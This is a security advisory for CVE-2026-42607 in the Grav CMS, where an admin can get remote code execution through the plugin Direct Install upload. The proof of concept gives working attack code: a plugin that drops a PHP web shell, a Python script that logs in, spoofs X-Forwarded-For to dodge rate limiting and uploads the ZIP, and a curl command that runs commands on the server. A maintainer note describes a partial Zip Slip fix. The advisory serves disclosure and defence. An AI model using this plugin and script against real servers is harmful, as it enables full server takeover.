CVE-2026-42607: Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature

Summary

An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.

Details

The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.

• Vulnerable Endpoints: /admin/tools/direct-install
• Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).
• Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/

plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.

PoC

1. Prepare the Malicious Plugin

Create a directory named shellplugin and add the following files:

shellplugin.php:

<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;

class ShellpluginPlugin extends Plugin {
    public static function getSubscribedEvents(): array {
        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
    }
    public function onPluginsInitialized(): void {
        $shell_path = GRAV_ROOT . '/shell.php';
        if (!file_exists($shell_path)) {
            file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
        }
    }
}

(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).

1. Create the ZIP Archive

`zip -r /tmp/shellplugin.zip shellplugin/`

3. Execute the Exploit Script
Run the following Python script to automate the login, nonce retrieval, and malicious upload process:

`import requests, re, json


s = requests.Session()
BASE_URL = 'http://127.0.0.1'

1. Login and Bypass Rate Limit via X-Forwarded-For

r = s.get(f'{BASE_URL}/admin')
nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1)

r2 = s.post(f'{BASE_URL}/admin',
    headers={'X-Forwarded-For': '10.0.0.3'},
    data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce},
    allow_redirects=False)

redirect = json.loads(r2.text)['redirect']
s.get(redirect)
print(f"[+] Logged in successfully.")

2. Extract Admin Nonce from Tools Page

tools = s.get(f'{BASE_URL}/admin/tools/direct-install')
admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1)
print(f"[+] Retrieved Admin Nonce: {admin_nonce}")

3. Upload and Execute

with open('/tmp/shellplugin.zip', 'rb') as f:
    zip_data = f.read()

resp = s.post(f'{BASE_URL}/admin/tools/direct-install',
    data={'task': 'directInstall', 'admin-nonce': admin_nonce},
    files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')},
    headers={'X-Forwarded-For': '10.0.0.3'}
)

if "installation" in resp.text.lower():
    print("[+] Plugin installed successfully!")
    # Trigger the shell
    s.get(BASE_URL) 
    print(f"[+] RCE Check: {BASE_URL}/shell.php?cmd=id")`

4. Verification

Access the dropped shell to confirm command execution: curl -s "http://127.0.0.1/shell.php?cmd=whoami"

Impact

• Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction).
• Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP).
• Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking.

Maintainer note — partial fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit `5a12f9be8` — ships in 2.0.0-beta.2.

What changed (path layer): Installer::unZip now pre-validates every entry name before calling ZipArchive::extractTo, and aborts the install if any entry looks like a Zip Slip primitive — .. path segments, absolute paths (Unix /… or Windows C:\…/\…), or NUL bytes. A crafted ZIP can no longer write files outside the target user/plugins/<slug> or user/themes/<slug> directory.

Explicit scope limitation: the "well-formed but malicious plugin code" angle of the PoC — uploading a plugin whose own PHP is the payload — is not addressed by this change. directInstall is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note.

Files:

• `system/src/Grav/Common/GPM/Installer.php` — new isSafeArchiveEntry() helper + pre-extract validation loop.
• `tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php` — 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names.

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Acknowledgements

The issue was identified by Security Researcher Mustafa Murat Akgül.

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